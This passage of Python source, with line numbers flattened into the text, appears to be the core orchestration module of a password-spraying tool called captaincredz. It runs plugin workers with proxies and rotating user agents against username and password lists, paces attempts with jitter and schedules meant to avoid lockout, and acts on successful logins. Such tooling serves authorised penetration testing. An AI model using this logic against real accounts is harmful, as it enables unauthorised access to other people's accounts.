plugin_default_args[k] 100 | for p in self.args["plugins"]: 101 | requests_proxy = Requester( 102 | useragentfile=p["useragentfile"], 103 | proxy=p["proxy"], 104 | headers=p["headers"], 105 | req_timeout=p["req_timeout"], 106 | ) 107 | w = Worker( 108 | requests_proxy, 109 | p["name"], 110 | p["args"], 111 | p["weight"], 112 | self.handle_worker_response, 113 | self._logger, 114 | len(self._workers), 115 | ) 116 | valid = w.init_plugin() 117 | if valid: 118 | self._workers.append(w) 119 | else: 120 | self._valid_args = False 121 | return 122 | 123 | # Initialize cache 124 | self._cache = Cache(self.args["cache_file"]) 125 | if self._cache.error is not None: 126 | self._logger.error(self._cache.error) 127 | self._valid_args = False 128 | return 129 | 130 | delays = { 131 | "req": self.args["delay_req"], 132 | "jitter": self.args["jitter"], 133 | "user": self.args["delay_user"], 134 | "chunk_delay": self.args["chunk_delay"], 135 | "chunk_size": self.args["chunk_size"], 136 | "ww": self.args["weekday_warrior"], 137 | } 138 | self._pool = Pool( 139 | self.args["userfile"], 140 | self.args["passwordfile"], 141 | self.args["userpassfile"], 142 | delays, 143 | self._cache, 144 | self._workers, 145 | self._logger, 146 | ) 147 | 148 | def check_args(self): 149 | if self.args["plugins"] is None: 150 | self._logger.error("At least 1 plugin must be specified") 151 | return False 152 | if type(self.args["plugins"]) != list: 153 | self._logger.error( 154 | "Your plugins format is weird, it must be a list of objects with attributes 'name' (and optionally 'weight', 'headers', 'args', 'proxy' and 'useragentfile')" 155 | ) 156 | return False 157 | if self.args["userfile"] is None and self.args["userpassfile"] is None: 158 | self._logger.error( 159 | "At least a userfile or a userpassfile must be specified" 160 | ) 161 | return False 162 | if self.args["userfile"] is not None and self.args["passwordfile"] is None: 163 | self._logger.error( 164 | "A passwordfile must be specified along with the userfile" 165 | ) 166 | return False 167 | for f in ["userfile", "userpassfile", "passwordfile"]: 168 | if self.args[f] is not None and ( 169 | not os.path.isfile(self.args[f]) or not os.access(self.args[f], os.R_OK) 170 | ): 171 | self._logger.error(f"The {f} ({self.args[f]}) cannot be accessed.") 172 | return False 173 | for p in ["jitter", "delay_req", "delay_user", "chunk_size", "chunk_delay"]: 174 | if type(self.args[p]) != int: 175 | self._logger.error( 176 | f"Parameter {p} must be specified, and must be an integer" 177 | ) 178 | return False 179 | if self.args["weekday_warrior"] is not None: 180 | for x in [ 181 | "utc_offset", 182 | "daily_speedup", 183 | "initial_speed", 184 | "hours_factor", 185 | "days_factor", 186 | ]: 187 | if not x in self.args["weekday_warrior"].keys(): 188 | self._logger.error( 189 | f"Key {x} should be present in weekday warrior file." 190 | ) 191 | return False 192 | if self.args["post_actions"] is not None: 193 | for action_name in self.args["post_actions"].keys(): 194 | action = self.args["post_actions"][action_name] 195 | try: 196 | importlib.import_module(f".post_actions.{action_name}", package='captaincredz') 197 | except Exception as e: 198 | raise e 199 | self._logger.error( 200 | f"Post-action module {action_name} cannot be imported: directory does not exist." 201 | ) 202 | return False 203 | for hook in action["trigger"]: 204 | if hook not in Cache.TRANSLATE and not hook == "error": 205 | self._logger.error( 206 | f"Hook '{hook}' for post-action {action_name} is not correct. " 207 | f"Must be either 'error', 'success', 'potential', 'failure' or 'inexistant'." 208 | ) 209 | return False 210 | return True 211 | 212 | def start(self, progress_bar=None): 213 | if not self._valid_args: 214 | if self._logger is not None: 215 | self._logger.error("Arguments are not valid (see above). Exiting!") 216 | else: 217 | print("Arguments are not valid (see above). Exiting!") 218 | return 219 | 220 | signal.signal(signal.SIGINT, self.sighandler) 221 | 222 | if progress_bar is not None: 223 | self._progress_bar = progress_bar 224 | self._progress_task = self._progress_bar.add_task( 225 | "[red]Spraying...", total=self._pool.get_total_size() 226 | ) 227 | 228 | self._worker_threads = [] 229 | for w in self._workers: 230 | t = threading.Thread(target=w.main) 231 | t.start() 232 | self._worker_threads.append(t) 233 | 234 | while not self._stopped: 235 | workers = [_w for _w in self._workers if not _w.cancelled] 236 | userpass, w_id = self._pool.get_creds(workers) 237 | if userpass is None: 238 | self._logger.info("No more creds to test") 239 | self._stopped = True 240 | else: 241 | self._logger.debug(f"Current candidate is {userpass}") 242 | workers[w_id].add(userpass["username"], userpass["password"]) 243 | self._cache.write_back() 244 | for w in self._workers: 245 | w.cancelled = True 246 | self._pool.stop() 247 | for t in self._worker_threads: 248 | t.join() 249 | 250 | self._logger.debug("All workers have successfully stopped") 251 | 252 | def sighandler(self, signum, frame): 253 | # print(signum, frame) 254 | if not self._stopped: 255 | self._logger.info("Stopping gracefully, please wait...") 256 | self._stopped = True 257 | self._pool.stop() 258 | for w in self._workers: 259 | w.cancelled = True 260 | self._cache.write_back() 261 | self._logger.info( 262 | "All cleaned up! Just waiting for workers to finish their current tasks, you may kill them with another CTRL+C if it is taking too long" 263 | ) 264 | sys.exit() 265 | else: 266 | self._logger.info( 267 | "Double CTRL+C, hard quitting! You may have to press CTRL+C once more..." 268 | ) 269 | sys.exit() 270 | 271 | def handle_worker_response(self, u, p, data, plugin_id): 272 | # data contains "ts", "result", "error", "request", "output" 273 | self._pool.signal_tried(u, p, plugin_id, error=data["error"]) 274 | if data["error"]: 275 | data["result"] = None 276 | if "error" in self._post_actions.keys(): 277 | for pa_dict in self._post_actions["error"]: 278 | pa = pa_dict["module"] 279 | params = pa_dict.get("params") 280 | try: 281 | pa.action( 282 | u, 283 | p, 284 | data["ts"], 285 | data["request"], 286 | self._workers[plugin_id].plugin, 287 | data["result"], 288 | self._logger, 289 | action_params=params, 290 | ) 291 | except Exception as ex: 292 | self._logger.error( 293 | f"The post_action {pa_dict.get('name')} (trigger error) raised the following exception:" 294 | ) 295 | self._logger.error(str(ex.__repr__())) 296 | self._logger.error(f"Ignoring and continuing spray.") 297 | self._logger.log_tentative( 298 | u, 299 | p, 300 | data["ts"], 301 | data["result"], 302 | data["output"], 303 | self._workers[plugin_id].plugin, 304 | ) 305 | if not data["error"]: 306 | self._cache.add_tentative( 307 | u, 308 | p, 309 | data["ts"], 310 | data["result"], 311 | data["output"], 312 | self._workers[plugin_id].plugin, 313 | ) 314 | 315 | # If no post-actions were defined, this key will be empty, therefore we need to check first 316 | if data["result"] in self._post_actions.keys(): 317 | # Calling the right post-action hooks 318 | for pa_dict in self._post_actions[data["result"]]: 319 | pa = pa_dict["module"] 320 | params = pa_dict.get("params") 321 | try: 322 | pa.action( 323 | u, 324 | p, 325 | data["ts"], 326 | data["request"], 327 | self._workers[plugin_id].plugin, 328 | data["result"], 329 | self._logger, 330 | action_params=params, 331 | ) 332 | except Exception as ex: 333 | self._logger.error( 334 | f"The post_action {pa_dict.get('name')} (trigger {data['result']}) raised the following exception:" 335 | ) 336 | self._logger.error(str(ex.__repr__())) 337 | self._logger.error(f"Ignoring and continuing spray.") 338 | # Handling specific cases 339 | # If it is a success 340 | if data["result"] == Cache.TRANSLATE_INV[Cache.RESULT_SUCCESS]: 341 | if self.args["stop_on_success"]: 342 | self._logger.info( 343 | "Stopping on first success according to configuration option stop_on_success" 344 | ) 345 | self.sighandler(0, 0) 346 | if self.args["stop_worker_on_success"]: 347 | self._logger.info( 348 | f"Stopping plugin {self._workers[plugin_id].plugin} (plugin_id = {plugin_id}) on first success according to configuration option stop_worker_on_success" 349 | ) 350 | self._workers[plugin_id].cancelled = True 351 | self._pool.trim_user(u, plugin_id) 352 | self._cache.write_back() 353 | if self._progress_bar is not None: 354 | self._progress_bar.update( 355 | self._progress_task, 356 | completed=self._pool.attempts_count, 357 | total=self._pool.get_total_size() + self._pool.attempts_count, 358 | ) 359 | # If it does not exist 360 | elif data["result"] == Cache.TRANSLATE_INV[Cache.RESULT_INEXISTANT]: 361 | self._pool.trim_user(u, plugin_id) 362 | if self._progress_bar is not None: 363 | self._progress_bar.update( 364 | self._progress_task, 365 | completed=self._pool.attempts_count, 366 | total=self._pool.get_total_size() + self._pool.attempts_count, 367 | ) 368 | elif self._progress_bar is not None: 369 | self._progress_bar.update( 370 | self._progress_task, completed=self._pool.attempts_count 371 | ) 372 | 373 | if self._stopped: 374 | self._cache.write_back() 375 | --------------------------------------------------------------------------------